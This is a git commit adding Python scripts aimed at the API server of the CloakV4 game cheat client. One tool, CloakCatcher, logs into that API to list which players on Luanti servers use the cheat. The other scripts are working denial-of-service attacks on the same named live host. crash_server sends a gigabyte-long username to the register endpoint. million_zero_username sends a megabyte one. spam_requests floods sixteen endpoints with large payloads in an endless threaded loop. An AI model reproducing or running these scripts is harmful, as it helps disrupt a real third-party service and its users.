add the scripts
This commit is contained in:
parent
26501f220e
commit
fcecf1a04b
12 changed files with 490 additions and 0 deletions
BIN
cloakcatcher/CHANGELOG.md
Executable file
BIN
cloakcatcher/CHANGELOG.md
Executable file
Binary file not shown.
17
cloakcatcher/Makefile
Executable file
17
cloakcatcher/Makefile
Executable file
|
|
@ -0,0 +1,17 @@
|
||||||
|
all_linux:
|
||||||
|
|
||||||
|
sudo apt install python3 python3-requests python3-pip -y
|
||||||
|
pip3 install pyinstaller --break-system-packages
|
||||||
|
python3 -m PyInstaller -F -n"CloakCatcher" main.py
|
||||||
|
mkdir -p bin/
|
||||||
|
mv -f dist/CloakCatcher bin/
|
||||||
|
cp -f cloakcatcher.conf bin/
|
||||||
|
|
||||||
|
clean:
|
||||||
|
|
||||||
|
rm -rf dist/ build/ __pycache__/ CloakCatcher.spec
|
||||||
|
|
||||||
|
reset:
|
||||||
|
|
||||||
|
rm -rf bin/
|
||||||
|
echo "" > cloakcatcher.conf
|
||||||
51
cloakcatcher/README.md
Executable file
51
cloakcatcher/README.md
Executable file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# CloakCatcher
|
||||||
|
## version 1.4.1
|
||||||
|
CloakCatcher is a small program written in Python 3 to identify users of the **CloakV4 cheat client**:
|
||||||
|
[Website](https://cloak-v4.web.app/)
|
||||||
|
[GitHub](https://github.com/TeamAcedia/CloakV4/)
|
||||||
|
|
||||||
|
**Do not share this script with anyone.** If a CloakV4 developer gets their hands on this script, it's useless. (lol nvm)
|
||||||
|
## Usage:
|
||||||
|
### Windows:
|
||||||
|
Install [Python 3](https://python.org/downloads/windows/)
|
||||||
|
**Make sure to select the option to install pip**
|
||||||
|
Then open Command Prompt and run:
|
||||||
|
`pip3 install requests`
|
||||||
|
|
||||||
|
To run the script, open the folder that contains the script in Command Prompt and run:
|
||||||
|
`python cloakcatcher.py`
|
||||||
|
|
||||||
|
To compile it to a Windows Executable (.exe):
|
||||||
|
Open Command Prompt in the folder CloakCatcher is in, and run:
|
||||||
|
`pip3 install pyinstaller`
|
||||||
|
followed by:
|
||||||
|
`python -m PyInstaller -Fn"CloakCatcher" cloakcatcher.py`
|
||||||
|
The executable is located in `dist\`. You can copy this file anywhere you like and remove the remaining files.
|
||||||
|
|
||||||
|
### Linux (Debian and Ubuntu, maybe Mint):
|
||||||
|
Install **Python 3**:
|
||||||
|
Run `sudo apt install python3` in Terminal
|
||||||
|
Run `sudo apt install python3-requests` in Terminal
|
||||||
|
or
|
||||||
|
`pip3 install requests --break-system-packages` in Terminal
|
||||||
|
|
||||||
|
To run the script:
|
||||||
|
Open Terminal in the folder CloakCatcher is in, and run:
|
||||||
|
`python3 cloakcatcher.py`
|
||||||
|
|
||||||
|
To compile it to an executable file:
|
||||||
|
Run `make`.
|
||||||
|
The executable is located in `bin/`. You can copy this file anywhere you like and remove the remaining files.
|
||||||
|
To remove files created during build time that are not needed:
|
||||||
|
Run `make clean`
|
||||||
|
To restore CloakCatcher's source code to the original state:
|
||||||
|
Run `make clean && make reset`
|
||||||
|
This will remove build files and executables, and clear the configuration file.
|
||||||
|
### MacOS/iOS/Android:
|
||||||
|
go get a real pc and chuck your current device out the window
|
||||||
|
## Config file:
|
||||||
|
The config file (`bin/cloakcatcher.conf`) stores configuration for CloakCatcher.
|
||||||
|
Here is the proper syntax of it:
|
||||||
|
{"cloakv4_username": "<Your CloakV4 username>", "cloakv4_password": "<Your CloakV4 password>", "server_ip": "<Server IP to scan>", "server_port": "<Server port to scan>", "serverlist_url": "<Serverlist URL>"}
|
||||||
|
serverlist_url should be set to "http://servers.luanti.org/list" unless you are targeting a specific list, **don't edit this unless you know what you are doing.**
|
||||||
|
**If you are using a compiled version, edit `bin/cloakcatcher.conf` (created at buildtime). If you are directly running the script without compiling, edit `cloakcatcher.conf`**
|
||||||
1
cloakcatcher/cloakcatcher.conf
Executable file
1
cloakcatcher/cloakcatcher.conf
Executable file
|
|
@ -0,0 +1 @@
|
||||||
|
|
||||||
35
cloakcatcher/extract_config.py
Executable file
35
cloakcatcher/extract_config.py
Executable file
|
|
@ -0,0 +1,35 @@
|
||||||
|
# extract_config.py
|
||||||
|
# Made by user333_
|
||||||
|
# Meant to be included with main.py
|
||||||
|
|
||||||
|
from ast import literal_eval
|
||||||
|
from sys import exit
|
||||||
|
|
||||||
|
CONFIG_FILE = "cloakcatcher.conf"
|
||||||
|
|
||||||
|
def extract_config() -> dict:
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
with open(CONFIG_FILE, "r") as f:
|
||||||
|
|
||||||
|
config_data = f.read().strip()
|
||||||
|
|
||||||
|
config = literal_eval(config_data)
|
||||||
|
restructured_config = {
|
||||||
|
"username": config["cloakv4_username"],
|
||||||
|
"passwd": config["cloakv4_password"],
|
||||||
|
"address": config["server_ip"],
|
||||||
|
"port": config["server_port"],
|
||||||
|
"serverlist_url": config["serverlist_url"]}
|
||||||
|
return restructured_config
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
|
||||||
|
print(f"[WARNING] {CONFIG_FILE} is empty, missing, or incorrectly structured.")
|
||||||
|
return {}
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
raise Exception("[ERROR] You ran the wrong script, run main.py instead.")
|
||||||
|
exit(1)
|
||||||
42
cloakcatcher/fetch_data.py
Executable file
42
cloakcatcher/fetch_data.py
Executable file
|
|
@ -0,0 +1,42 @@
|
||||||
|
# fetch_data.py
|
||||||
|
# Made by user333_
|
||||||
|
# Meant to be included with main.py
|
||||||
|
|
||||||
|
from requests import post, get
|
||||||
|
from sys import exit
|
||||||
|
|
||||||
|
def fetch_data(url: str, json: dict, request_type: str) -> dict:
|
||||||
|
|
||||||
|
if request_type == "post":
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
data = post(url = url, json = json)
|
||||||
|
return data.json()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
|
||||||
|
NetworkError(e)
|
||||||
|
|
||||||
|
if request_type == "get":
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
data = get(url = url)
|
||||||
|
return data.json()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
|
||||||
|
NetworkError(e)
|
||||||
|
|
||||||
|
def NetworkError(e: str):
|
||||||
|
|
||||||
|
raise Exception(f"""[ERROR] Error 1: An exception occured while attempting to fetch data.
|
||||||
|
This could be a result of an invalid request, no network connection, or the server is offline.
|
||||||
|
Exception: {e}""")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
raise Exception("[ERROR] You ran the wrong script, run main.py instead.")
|
||||||
|
exit(1)
|
||||||
87
cloakcatcher/handle_input.py
Executable file
87
cloakcatcher/handle_input.py
Executable file
|
|
@ -0,0 +1,87 @@
|
||||||
|
# handle_input.py
|
||||||
|
# Made by user333_
|
||||||
|
# Meant to be included with main.py
|
||||||
|
|
||||||
|
from extract_config import extract_config
|
||||||
|
from sys import exit
|
||||||
|
|
||||||
|
def handle_input() -> dict:
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
print("Welcome to CloakCatcher v1.4.1")
|
||||||
|
|
||||||
|
prompt = None
|
||||||
|
|
||||||
|
while prompt not in ["", "1", "2"]:
|
||||||
|
|
||||||
|
print("Select a function:\n")
|
||||||
|
print("1. Scan an individual server for CloakV4 users (default)")
|
||||||
|
print("2. Scan all servers for CloakV4 users")
|
||||||
|
|
||||||
|
prompt = input("\nSelect (1-2): ").strip()
|
||||||
|
|
||||||
|
config = extract_config()
|
||||||
|
|
||||||
|
if prompt == "1" or prompt == "":
|
||||||
|
|
||||||
|
if config != {}:
|
||||||
|
|
||||||
|
username: str = input("CloakV4 username (press enter for default): " ).strip() or config["username"]
|
||||||
|
passwd: str = input("CloakV4 password (press enter for default): " ).strip() or config["passwd"]
|
||||||
|
address: str = input("IP of server to scan (press enter for default): " ).strip() or config["address"]
|
||||||
|
port: str = input("Port of server to scan (press enter for default): ").strip() or config["port"]
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
username: str = input("CloakV4 username: " ).strip()
|
||||||
|
passwd: str = input("CloakV4 password: " ).strip()
|
||||||
|
address: str = input("IP of server to scan: " ).strip()
|
||||||
|
port: str = input("Port of server to scan: ").strip()
|
||||||
|
|
||||||
|
new_config = {
|
||||||
|
"username": username,
|
||||||
|
"passwd": passwd,
|
||||||
|
"address": address,
|
||||||
|
"port": port,
|
||||||
|
"serverlist_url": ""
|
||||||
|
}
|
||||||
|
|
||||||
|
return new_config
|
||||||
|
|
||||||
|
if prompt == "2":
|
||||||
|
|
||||||
|
if config != {}:
|
||||||
|
|
||||||
|
username: str = input("CloakV4 username (press enter for default): ").strip() or config["username"]
|
||||||
|
passwd: str = input("CloakV4 password (press enter for default): ").strip() or config["passwd"]
|
||||||
|
servlist: str = input("Serverlist URL (press enter for default): " ).strip() or config["serverlist_url"]
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
username: str = input("CloakV4 username: ").strip()
|
||||||
|
passwd: str = input("CloakV4 password: ").strip()
|
||||||
|
servlist: str = input("Serverlist URL (press enter for default serverlist): ").strip() or "http://servers.luanti.org/list"
|
||||||
|
|
||||||
|
new_config = {
|
||||||
|
"username": username,
|
||||||
|
"passwd": passwd,
|
||||||
|
"address": "all",
|
||||||
|
"port": "all",
|
||||||
|
"serverlist_url": servlist
|
||||||
|
}
|
||||||
|
|
||||||
|
return new_config
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
print ("Invalid response.")
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
|
||||||
|
raise Exception("[ERROR] Invalid configuration.")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
raise Exception("[ERROR] You ran the wrong script, run main.py instead.")
|
||||||
26
cloakcatcher/hash_data.py
Executable file
26
cloakcatcher/hash_data.py
Executable file
|
|
@ -0,0 +1,26 @@
|
||||||
|
# hash_data.py
|
||||||
|
# Made by user333_
|
||||||
|
# Meant to be included with main.py
|
||||||
|
|
||||||
|
from hashlib import sha256
|
||||||
|
from sys import exit
|
||||||
|
|
||||||
|
def hash_data(data: str) -> str:
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
data = data.encode()
|
||||||
|
h = sha256()
|
||||||
|
h.update(data)
|
||||||
|
hashed_data = h.hexdigest()
|
||||||
|
return hashed_data
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
|
||||||
|
raise Exception(f"[ERROR] Failed to hash binary data '{data}'")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
raise Exception("[ERROR] You ran the wrong script, run main.py instead.")
|
||||||
|
exit(1)
|
||||||
133
cloakcatcher/main.py
Executable file
133
cloakcatcher/main.py
Executable file
|
|
@ -0,0 +1,133 @@
|
||||||
|
# CloakCatcher v1.4.1
|
||||||
|
# Made by user333_
|
||||||
|
|
||||||
|
print(r"""
|
||||||
|
___ _ _ ___ _ _
|
||||||
|
/ __\ | ___ __ _| | __ / __\__ _| |_ ___| |__ ___ _ __
|
||||||
|
/ / | |/ _ \ / _` | |/ // / / _` | __/ __| '_ \ / _ \ '__|
|
||||||
|
/ /___| | (_) | (_| | </ /__| (_| | || (__| | | | __/ |
|
||||||
|
\____/|_|\___/ \__,_|_|\_\____/\__,_|\__\___|_| |_|\___|_|
|
||||||
|
""")
|
||||||
|
|
||||||
|
from fetch_data import fetch_data
|
||||||
|
from hash_data import hash_data
|
||||||
|
from handle_input import handle_input
|
||||||
|
|
||||||
|
from sys import exit, stdout
|
||||||
|
|
||||||
|
config = handle_input()
|
||||||
|
|
||||||
|
USERNAME = config["username"]
|
||||||
|
PASSWD = config["passwd"]
|
||||||
|
ADDRESS = config["address"]
|
||||||
|
PORT = config["port"]
|
||||||
|
SERVLIST = config["serverlist_url"]
|
||||||
|
|
||||||
|
url = "http://teamacedia.baselinux.net:22222/" # DO NOT EDIT (unless TeamAcedia changes their server)
|
||||||
|
login_url = "api/login/" #
|
||||||
|
players_url = "api/server/players/" #
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
|
||||||
|
CloakCatcher.main()
|
||||||
|
|
||||||
|
class CloakCatcher:
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
if ADDRESS == "all" and PORT == "all": # Full serverlist scan mode.
|
||||||
|
|
||||||
|
CloakCatcher.full_serverlist()
|
||||||
|
|
||||||
|
else: # Single-server scan mode.
|
||||||
|
|
||||||
|
CloakCatcher.single_server()
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
|
||||||
|
print("Exiting...")
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
def single_server() -> None:
|
||||||
|
|
||||||
|
while True:
|
||||||
|
|
||||||
|
hashed_passwd = hash_data(PASSWD)
|
||||||
|
session_token = fetch_data(url + login_url, {
|
||||||
|
"username": USERNAME,
|
||||||
|
"password": hashed_passwd
|
||||||
|
},
|
||||||
|
"post")["session_token"]
|
||||||
|
players_on_cv4 = fetch_data(url + players_url, {
|
||||||
|
"token": session_token,
|
||||||
|
"server_address": ADDRESS,
|
||||||
|
"server_port": PORT
|
||||||
|
},
|
||||||
|
"post")["players"]
|
||||||
|
|
||||||
|
if len(players_on_cv4) > 0:
|
||||||
|
|
||||||
|
print("\nPlayers detected on CloakV4:\n")
|
||||||
|
|
||||||
|
for n in range(0, len(players_on_cv4)):
|
||||||
|
|
||||||
|
print(f"Playername: \"{players_on_cv4[n]['joined_name']}\", CloakV4 username: \"{players_on_cv4[n]['username']}\"")
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
print("No players detected on CloakV4.")
|
||||||
|
|
||||||
|
input("\nPress Enter to refresh.\nPress [Ctrl + C] to exit.\n")
|
||||||
|
print(f"{'*'*80}\n") # Nicer-looking in code than typing 80 asteriks, but slightly less readable
|
||||||
|
|
||||||
|
def full_serverlist() -> None:
|
||||||
|
|
||||||
|
while True:
|
||||||
|
|
||||||
|
servers = fetch_data(SERVLIST, {}, "get")["list"]
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
skipped = 0
|
||||||
|
|
||||||
|
for server in servers:
|
||||||
|
|
||||||
|
if server["clients"] > 0:
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
hashed_passwd = hash_data(PASSWD)
|
||||||
|
session_token = fetch_data(url + login_url, {
|
||||||
|
"username": USERNAME,
|
||||||
|
"password": hashed_passwd
|
||||||
|
},
|
||||||
|
"post")["session_token"]
|
||||||
|
|
||||||
|
players_on_cv4 = fetch_data(url + players_url, {
|
||||||
|
"token": session_token,
|
||||||
|
"server_address": server["address"],
|
||||||
|
"server_port": str(server["port"])
|
||||||
|
},
|
||||||
|
"post")["players"]
|
||||||
|
|
||||||
|
stdout.write("\r[" + "|/-\\"[count % 4] + f"] Scanned {count}/{len(servers)} servers. Skipped {skipped} servers.") # Why does python care if i have a backslash in an f-string...
|
||||||
|
|
||||||
|
if len(players_on_cv4) > 0:
|
||||||
|
|
||||||
|
for n in range(0, len(players_on_cv4)):
|
||||||
|
|
||||||
|
print("\n\nPlayers detected on CloakV4:")
|
||||||
|
print(f"Server: \"{server['name']}\" ({server['address']}:{server['port']})")
|
||||||
|
print(f"Playername: \"{players_on_cv4[n]['joined_name']}\", CloakV4 username: \"{players_on_cv4[n]['username']}\"\n")
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
skipped += 1
|
||||||
|
stdout.write("\r[" + "|/-\\"[count % 4] + f"] Scanned {count}/{len(servers)} servers. Skipped {skipped} servers.") # See line #63, comment.
|
||||||
|
|
||||||
|
input("\n\nPress Enter to refresh.\nPress [Ctrl + C] to exit.\n")
|
||||||
|
print(f"{'*'*80}\n")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
main()
|
||||||
25
crash_server/main.py
Executable file
25
crash_server/main.py
Executable file
|
|
@ -0,0 +1,25 @@
|
||||||
|
#!/bin/python3
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
PASSWORD = '0'
|
||||||
|
USERNAME = '0'*1024*1024*1024
|
||||||
|
|
||||||
|
API_URL = "https://teamacedia.baselinux.net:22222/"
|
||||||
|
ENDPOINT_REGISTER = "/api/register"
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
response = requests.post(
|
||||||
|
url = API_URL + ENDPOINT_REGISTER,
|
||||||
|
json = {
|
||||||
|
"username": USERNAME,
|
||||||
|
"password": PASSWORD
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
print(response.status_code)
|
||||||
|
return 0 if response.status_code == 200 else 1
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
exit(main())
|
||||||
32
million_zero_username/main.py
Executable file
32
million_zero_username/main.py
Executable file
|
|
@ -0,0 +1,32 @@
|
||||||
|
#!/bin/python3
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
PASSWORD = '0'
|
||||||
|
USERNAME = '0'*1024*1024
|
||||||
|
|
||||||
|
API_URL = "https://teamacedia.baselinux.net:22222/"
|
||||||
|
ENDPOINT_REGISTER = "/api/register"
|
||||||
|
|
||||||
|
def hash_pw(pw: str) -> str:
|
||||||
|
h = hashlib.sha256()
|
||||||
|
h.update(pw.encode())
|
||||||
|
return h.hexdigest()
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
pw = hash_pw(PASSWORD)
|
||||||
|
|
||||||
|
response = requests.post(
|
||||||
|
url = API_URL + ENDPOINT_REGISTER,
|
||||||
|
json = {
|
||||||
|
"username": USERNAME,
|
||||||
|
"password": pw
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
print(response.status_code)
|
||||||
|
return 0 if response.status_code == 200 else 1
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
exit(main())
|
||||||
41
spam_requests/main.py
Executable file
41
spam_requests/main.py
Executable file
|
|
@ -0,0 +1,41 @@
|
||||||
|
import requests, time, _thread
|
||||||
|
|
||||||
|
API_URL = "http://teamacedia.baselinux.net:22222"
|
||||||
|
|
||||||
|
ENDPOINTS = [
|
||||||
|
"/api/register",
|
||||||
|
"/api/login",
|
||||||
|
"/api/verify-session",
|
||||||
|
"/api/server/join",
|
||||||
|
"/api/server/leave",
|
||||||
|
"/api/server/players",
|
||||||
|
"/api/cosmetics/capes",
|
||||||
|
"/api/users/capes",
|
||||||
|
"/api/users/capes/set_selected",
|
||||||
|
"/api/users/capes/get_selected",
|
||||||
|
"/api/users/get_all",
|
||||||
|
"/api/rewards/create",
|
||||||
|
"/api/rewards/update",
|
||||||
|
"/api/rewards/delete",
|
||||||
|
"/api/rewards/get_all",
|
||||||
|
"/api/rewards/redeem"
|
||||||
|
]
|
||||||
|
|
||||||
|
def spam_endpoint(endpoint: str) -> None:
|
||||||
|
response = requests.post(
|
||||||
|
url = API_URL + endpoint,
|
||||||
|
json = {
|
||||||
|
"0": "0"*1024*1023
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
print(f"{endpoint} returned status code {response.status_code}")
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
while True:
|
||||||
|
for endpoint in ENDPOINTS:
|
||||||
|
time.sleep(0.005)
|
||||||
|
_thread.start_new_thread(spam_endpoint, (endpoint,))
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Loading…
Add table
Add a link
Reference in a new issue